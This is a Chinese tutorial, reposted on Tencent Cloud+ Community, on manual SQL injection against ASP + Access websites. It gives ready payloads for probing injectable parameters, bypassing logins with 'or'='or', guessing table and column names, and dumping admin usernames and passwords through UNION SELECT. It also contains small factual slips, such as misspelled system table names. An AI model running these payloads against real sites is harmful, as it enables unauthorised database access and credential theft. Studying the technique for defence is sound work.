ASP+Access手工SQL注入实例

SQL注入我分成2部分来讲,第一部分来讲ASP+Access程序模式来讲实例。

SQL注入是利用正常的HTTP服务,一些防火墙的软硬件都无办法。

漏洞存在的原因:程序对用户的输入未做过滤。

Access注入是暴力猜解

Access数据结构(access只有一个数据库)

Access数据库

表名

列名

数据

ASP+Access手工注入

要注意的是都要网址都要跟一个参数才能进行手工SQL注入,比如上面的“id=1”,如果有注入,那么他的注入点则是“id”。

那么要如何去测试一个ASP程序网站是否存在注入漏洞呢?

最直接的办法就是在参数后面跟上“and 1=1”

这个网站,在他的参数后接上'and 1=1’后查看结果

在执行了“and 1=1”之后,网站原封不动的查询出了内容,并和先前无异。

那么,执行一下“and 1=2”之后呢,查看一下结果

执行“and 1=2”之后,网站报错,无法查询出内容,推断存在SQL注入。

读者可能很疑惑为什么能如此推断呢?其中原理就是and 1=1返回正常是肯定的,因为1在逻辑上来讲肯定等于1,程序返回正常也符合逻辑。那么and 1=2此处存在明显的逻辑错误,而且查询时又怎么能够找出 and 1=2这个页面呢?所以报错,报错了那么我们就可以判断,程序未做过滤,直接把用户的输入带入了查询,就能够说明存在注入漏洞。

如果对数据库“and”这个参数不理解,可以解释一下。

and 1=1返回正常

and 1=2返回错误

“and”是逻辑语言中“和”的意思,你和我,1和2都是如此。

and A=B意思是A和B如果都是正确的,那么程序为真,程序返回正常

先判断条件A正常则判断条件B如果条件A错误,就会直接返回错误

“or”则是逻辑语言中“或”的意思

or:或A and B: 只要有一个结果为真就返回真

拿万能密码的案例来讲,在一些ASP程序中,有很多万能密码这种案例。

万能密码:'or'='or'

原理是这样的:sql=select * from user where username='username'and password='$password'

这个句子不难,好理解,用户名等于数据库中的“nsername”,密码等于“password”才能登陆成功。

如果改成这样子呢?

from user where username=‘’or'='or‘’and password='$password'

看清楚,'or'='or'那里是两个单引号,在第一个等号前加单引号是为了闭合,前面两个单引号闭合,末尾两个单引号闭合,只留下or'='or,这下可以清楚的看出,单引号等于单引号,逻辑成立。一个条件成立了,就返回真,所以不需要后面的“and password”运算了,自然就出现了万能密码,不需要密码只需要用户名就可以进入程序后台,密码是什么根本无关系。

但是现在安全编程里面都做了要求,万能密码的情况在逐渐消失了。

回到上面,对于一个网站程序,该如何知道他的数据库类型呢?

最简单的办法就是在参数后面增加一个’单引号。

可以看到已经报错了,并且回复了Microsoft JET Database Engine错误'80040e14'

语法错误(操作符丢失) 在查询表达式 'id=142鈥' 中。

/thjx_xx.asp,行 79

推断Access数据库类型。

还有另外一种方法,是查独有表得出来的,因为现在很多网站都对单引号做了过滤,无法根据报错来得到结论,如果有这种情况,就可以使用下面这种方法。

and (select count (*) from独有表)>0

Access的数据库独有表名是“mssysobjects”,所以直接带入查询即可。

下面是各个数据库的独有表:

msssql:sysobjects

mysql:infomation——schema

access:mssysobjects

Oracle:sys.user_table

手工注入Access查表

如果猜测数据库的表名是admin,那么执行语句如下“”

and (select count (*) from admin)>0

如果结果返回正常,表就存在,如果返回缓慢,表则不存在。

查询admin表的个数,来和1比较,肯定大于1,那么就会返回正常,就存在这个表。

测试返回正常,存在“admin”表名。

找到注入点了,就请挨个手动查询,表可能很多。

Access查字段

上面我们已经知道了存在admin表名,就可以查这个表名的字段了

and (select count (name) from admin)>0

查询“name”字段,报错,不存在name字段。

and (select count (id) from admin)>0

查询“id”字段,页面返回正常,得出admin表里拥有id字段的结论。

判断长度

接下来该做的就是判断长度,这里需要用到“len”的函数

and (select top 1 len (id) from admin)>2

这个语句是什么意思呢?

求这个id字段大于2,返回正常,大于2返回错误,说明长度是2。

select * from表where len(字段) =值

换成等于符号也可以,

and (select top 1 len(id) from admin)=2

等于2也正常返回,说明字段长度就在2。

一般用户名也就英文格式,几个,按个按页面返回进行猜解吧。

还有一种是联合注入的方式,比较简单,就不放图了,希望读者能够根据上面的图正确理解联合注入。

联合注入

联合注入首先需要用order by来确定列表数

order by 5显示正常

order by 6显示错误

说明数据库里只有五个列表

那么,我们猜表名。

union select 1,2,3,4,5 from admin

查询是否存在admin这个表名,如果有就返回正常,没有就错误。

猜表数据

union select 1,username,password,4,5 from admin

语句意思是admin如果存在username,password两个字段就会被爆出来,如果没有,就会直接报错。

Access的结构只能依靠暴力破解,所以有时候猜着也挺烦躁的,今天就先写到这里吧。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180114G0N91A00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券